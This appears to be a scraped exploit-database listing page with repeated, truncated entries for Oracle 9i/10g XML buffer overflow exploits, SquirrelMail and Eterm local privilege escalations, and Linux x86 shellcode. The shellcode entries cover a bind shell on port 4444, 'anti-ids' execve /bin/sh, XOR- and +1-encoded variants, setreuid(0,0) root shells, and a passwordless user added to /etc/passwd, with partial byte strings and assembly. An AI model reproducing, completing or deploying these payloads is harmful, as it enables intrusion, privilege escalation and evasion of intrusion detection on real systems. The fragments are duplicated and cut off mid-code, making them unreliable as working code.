Oracle Database Server 9i/10g - 'XML' Local Buffer Overflow

/ Argeniss - Information Security http://www.argeniss.com infoatdotatdotc:\Unbreakable.txt' FROM DUAL; / Argeniss - Information Security http://www.argeniss.com infoatdotatdotcom Oracle version: 10g Release 1 Platform: Linux Shellcode opens a shell on port 4444 from www.metasploit.com. / DECLARE ...

linux/x86 execve /bin/sh anti-ids 40 bytes

No description provided by source. / N Shell : shellcodez Arch:x86 Platform:linux Size:40 Description: The shellcode to execute /bin/sh; This shellcode is anti-ids It not containz encoding engine but it not contain standart signatures as: "\xcd\x80" '\bin\sh' Tested on Slackware 10.0 Coded by...

linux/x86 -execve /bin/sh anti-ids 40 bytes

linux/x86 execve /bin/sh anti-ids 40 bytes. Shellcode exploit for linx86 platform / N Shell : shellcodez Arch:x86 Platform:linux Size:40 Description: The shellcode to execute /bin/sh; This shellcode is anti-ids It not containz encoding engine but it not contain standart signatures as: "\xcd\x80"...

linux/x86 execve /bin/sh anti-ids 40 bytes

Exploit for linux/x86 platform in category shellcode ========================================== linux/x86 execve /bin/sh anti-ids 40 bytes ========================================== / N Shell : shellcodez Arch:x86 Platform:linux Size:40 Description: The shellcode to execute /bin/sh; This shellcod...

Oracle Database Server 9i10g - XML Local Buffer Overflow

Oracle Database Server 9i10g - XML Local Buffer Overflow / Argeniss - Information Security http://www.argeniss.com infoatdotatdotc:\Unbreakable.txt' FROM DUAL; / Argeniss - Information Security http://www.argeniss.com infoatdotatdotcom Oracle version: 10g Release 1 Platform: Linux Shellcode opens...

Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit

Exploit for unknown platform in category local exploits =========================================================== Oracle Database Server 9i/10g XML Buffer Overflow Exploit =========================================================== / Argeniss - Information Security http://www.argeniss.com...

linux/x86 - execve /bin/sh encoded by +1 39 bytes

linux/x86 execve /bin/sh encoded by +1 39 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL / encoded by +1 - 39 bytes - izik / char shellcode = "\x68\x8a\xe2\xce\x81" // push $0x81cee28a "\x68\xb1\x0c\x53\x54" // push $0x54530cb1 "\x68\x6a\x6f\x8a\xe4" /...

linux/x86 execve /bin/sh xored for Intel x86 CPUID 41 bytes

No description provided by source. / linux/x86 execve"/bin/sh", "/bin/sh", NULL / xor'ed against Intel x86 CPUID - 41 bytes The idea behind this shellcode is to use a weak pre-shared secret between the attacker and the attacked machine. So if a 3rd party side would try to run this shellcode and...

linux/x86 execve /bin/sh xored for Intel x86 CPUID 41 bytes

Exploit for linux/x86 platform in category shellcode =========================================================== linux/x86 execve /bin/sh xored for Intel x86 CPUID 41 bytes =========================================================== / linux/x86 execve"/bin/sh", "/bin/sh", NULL / xor'ed against...

linux/x86 - execve /bin/sh xored for Intel x86 CPUID 41 bytes

linux/x86 execve /bin/sh xored for Intel x86 CPUID 41 bytes. Shellcode exploit for linx86 platform / linux/x86 execve"/bin/sh", "/bin/sh", NULL / xor'ed against Intel x86 CPUID - 41 bytes The idea behind this shellcode is to use a weak pre-shared secret between the attacker and the attacked...

linux/x86 execve /bin/sh (encoded by +1) 39 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL / encoded by +1 - 39 bytes - izik [email protected] / char shellcode = "\x68\x8a\xe2\xce\x81" // push $0x81cee28a "\x68\xb1\x0c\x53\x54" // push $0x54530cb1 "\x68\x6a\x6f\x8a\xe4" // push $0xe48a6f6a...

SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow

SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow / Change passwd 3.1 SquirrelMail plugin Coded by rod hedor web-- http://lezr.com local exploit Multiple buffer overflows are present in the handling of command line arguements in chpasswd. The bug allows a hacker to exploit the process...

linux/x86 execve /bin/sh (encoded by +1) 39 bytes

Exploit for linux/x86 platform in category shellcode ================================================= linux/x86 execve /bin/sh encoded by +1 39 bytes ================================================= / linux/x86 - execve"/bin/sh", "/bin/sh", NULL / encoded by +1 - 39 bytes - izik / char shellcod...

win32/xp sp2 Pop up message box 110 bytes

win32/xp sp2 Pop up message box 110 bytes. Shellcode exploit for win32 platform / Author : Omega7 Assembly Code : Steve Hanna Changed by : Omega7 Description : It is 110 Byte Shellcode which Pops up Message Box Under Windows Xp SP2 If you Want to use it in any other Windows You need to change the...

Eterm LibAST < 0.7 - '-X' Option Privilege Escalation

// eterm by default isn't setuid but there is a lot of instances where // it needs setuid root/utmp to run different options. /str0ke / Copyright ©Rosiello Security 2006 URL: http://www.rosiello.org Author: Johnny Mast e-mail: [email protected] This program is free software; you can redistribute ...

win32/xp sp2 Pop up message box 110 bytes

Exploit for win32 platform in category shellcode ========================================= win32/xp sp2 Pop up message box 110 bytes ========================================= / Author : Omega7 Assembly Code : Steve Hanna Changed by : Omega7 Description : It is 110 Byte Shellcode which Pops up...

linux/x86 normal exit with random so to speak return value 5 bytes

linux/x86 normal exit w/ random so to speak return value 5 bytes. Shellcode exploit for linx86 platform / linux/x86 normal exit w/ random so to speak return value - 5 bytes - izik / char shellcode = "\x31\xc0" // xor %eax,%eax "\x40" // inc %eax "\xcd\x80"; // int $0x80 int mainint argc, char arg...

linux/x86 eject cd-rom (follows /dev/cdrom symlink) + exit() 40 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 eject cd-rom follows /dev/cdrom symlink + exit 40 bytes ===================================================================== / linux/x86 eject cd-rom follows...

linux/x86 Adduser without Password to /etc/passwd 59 bytes

linux/x86 Adduser without Password to /etc/passwd 59 bytes. Shellcode exploit for linx86 platform / linux/x86 adds user 'xtz' without password to /etc/passwd - 59 bytes - izik / char shellcode = "\x6a\x05" // push $0x5 // // : // "\x58" // pop %eax "\x99" // cltd "\x31\xc9" // xor %ecx,%ecx...

linux/x86 setreuid(0 0) + execve(/bin/sh) 31 bytes

No description provided by source. / linux/x86 setreuid0, 0 + execve"/bin/sh", "/bin/sh", NULL, NULL - 31 bytes - izik [email protected] / char shellcode = "\x6a\x46" // push $0x46 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xcd\x80" // int $0x80 "\x99" // cltd...